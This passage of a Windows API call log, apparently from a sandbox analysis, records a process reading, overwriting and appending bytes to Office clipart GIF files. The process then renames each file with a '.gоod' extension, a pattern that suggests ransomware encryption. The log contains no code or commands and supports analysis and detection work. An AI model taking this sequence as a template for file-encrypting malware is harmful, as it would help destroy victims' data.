Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0133.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), fInfoLevelId=0x0, lpFileInformation=0x3858088 | out: lpFileInformation=0x3858088*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1323)) returned 1 [0133.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0133.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.497] GetFileType (hFile=0x63c) returned 0x1 [0133.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.497] GetFileType (hFile=0x63c) returned 0x1 [0133.497] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0133.497] ReadFile (in: hFile=0x63c, lpBuffer=0x38584d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x38584d0*, lpNumberOfBytesRead=0x1f9edca8*=0x323, lpOverlapped=0x0) returned 1 [0133.499] CloseHandle (hObject=0x63c) returned 1 [0133.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.499] GetFileType (hFile=0x63c) returned 0x1 [0133.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.499] GetFileType (hFile=0x63c) returned 0x1 [0133.499] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1323 [0133.499] WriteFile (in: hFile=0x63c, lpBuffer=0x3859780*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3859780*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0133.500] CloseHandle (hObject=0x63c) returned 1 [0133.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.500] GetFileType (hFile=0x63c) returned 0x1 [0133.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.500] GetFileType (hFile=0x63c) returned 0x1 [0133.500] ReadFile (in: hFile=0x63c, lpBuffer=0x385ba58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x385ba58*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0133.716] CloseHandle (hObject=0x63c) returned 1 [0133.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0133.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.717] GetFileType (hFile=0x63c) returned 0x1 [0133.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0133.717] GetFileType (hFile=0x63c) returned 0x1 [0133.717] WriteFile (in: hFile=0x63c, lpBuffer=0x36b1e40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x36b1e40*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0133.717] CloseHandle (hObject=0x63c) returned 1 [0133.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", lpFilePart=0x0) returned 0x51 [0133.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.gоod", lpFilePart=0x0) returned 0x56 [0133.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0133.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4bea9ab5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1333)) returned 1 [0133.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0133.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143749.gif.gоod")) returned 1 [0133.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", lpFilePart=0x0) returned 0x51 [0133.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0133.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), fInfoLevelId=0x0, lpFileInformation=0x36f8f50 | out: lpFileInformation=0x36f8f50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e)) returned 1 [0133.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0133.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", lpFilePart=0x0) returned 0x51 [0133.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0133.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.719] GetFileType (hFile=0x63c) returned 0x1 [0133.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0133.719] GetFileType (hFile=0x63c) returned 0x1 [0133.719] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x43e [0133.720] ReadFile (in: hFile=0x63c, lpBuffer=0x36f9668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36f9668*, lpNumberOfBytesRead=0x1f9edc08*=0x43e, lpOverlapped=0x0) returned 1 [0133.721] CloseHandle (hObject=0x63c) returned 1 [0134.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", lpFilePart=0x0) returned 0x51 [0134.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0134.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.771] GetFileType (hFile=0x63c) returned 0x1 [0134.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0134.771] GetFileType (hFile=0x63c) returned 0x1 [0134.771] WriteFile (in: hFile=0x63c, lpBuffer=0x3831f00*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3831f00*, lpNumberOfBytesWritten=0x1f9edb18*=0x440, lpOverlapped=0x0) returned 1 [0134.772] CloseHandle (hObject=0x63c) returned 1 [0134.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", lpFilePart=0x0) returned 0x51 [0134.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.gоod", lpFilePart=0x0) returned 0x56 [0134.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0134.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c8a5965, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x440)) returned 1 [0134.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0134.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143750.gif.gоod")) returned 1 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", lpFilePart=0x0) returned 0x51 [0134.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0134.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), fInfoLevelId=0x0, lpFileInformation=0x38331d8 | out: lpFileInformation=0x38331d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x412)) returned 1 [0134.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", lpFilePart=0x0) returned 0x51 [0134.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0134.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.773] GetFileType (hFile=0x63c) returned 0x1 [0134.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0134.773] GetFileType (hFile=0x63c) returned 0x1 [0134.773] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x412 [0134.773] ReadFile (in: hFile=0x63c, lpBuffer=0x38338c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x38338c8*, lpNumberOfBytesRead=0x1f9edc08*=0x412, lpOverlapped=0x0) returned 1 [0134.775] CloseHandle (hObject=0x63c) returned 1 [0134.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", lpFilePart=0x0) returned 0x51 [0134.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0134.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.802] GetFileType (hFile=0x63c) returned 0x1 [0134.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0134.802] GetFileType (hFile=0x63c) returned 0x1 [0134.802] WriteFile (in: hFile=0x63c, lpBuffer=0x38ad488*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x38ad488*, lpNumberOfBytesWritten=0x1f9edb18*=0x420, lpOverlapped=0x0) returned 1 [0134.803] CloseHandle (hObject=0x63c) returned 1 [0134.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", lpFilePart=0x0) returned 0x51 [0134.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.gоod", lpFilePart=0x0) returned 0x56 [0134.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0134.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c8f1d4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0134.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0134.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143752.gif.gоod")) returned 1 [0134.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0134.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0134.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), fInfoLevelId=0x0, lpFileInformation=0x38ae760 | out: lpFileInformation=0x38ae760*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f)) returned 1 [0135.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0135.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0135.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0135.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0135.868] GetFileType (hFile=0x640) returned 0x1 [0135.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0135.868] GetFileType (hFile=0x640) returned 0x1 [0135.868] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0135.868] ReadFile (in: hFile=0x640, lpBuffer=0x3a6b018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3a6b018*, lpNumberOfBytesRead=0x1f9edca8*=0xb7f, lpOverlapped=0x0) returned 1 [0135.870] CloseHandle (hObject=0x640) returned 1 [0135.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0135.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0135.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0135.870] GetFileType (hFile=0x640) returned 0x1 [0135.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0135.870] GetFileType (hFile=0x640) returned 0x1 [0135.870] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1b7f [0135.871] WriteFile (in: hFile=0x640, lpBuffer=0x3a6c3e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a6c3e0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0135.871] CloseHandle (hObject=0x640) returned 1 [0135.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpFilePart=0x0) returned 0x51 [0135.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0135.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0135.871] GetFileType (hFile=0x640) returned 0x1 [0135.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0135.871] GetFileType (hFile=0x640) returned 0x1 [0135.871] ReadFile (in: hFile=0x640, lpBuffer=0x3a6e6b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3a6e6b8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0136.220] CloseHandle (hObject=0x640) returned 1 [0136.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 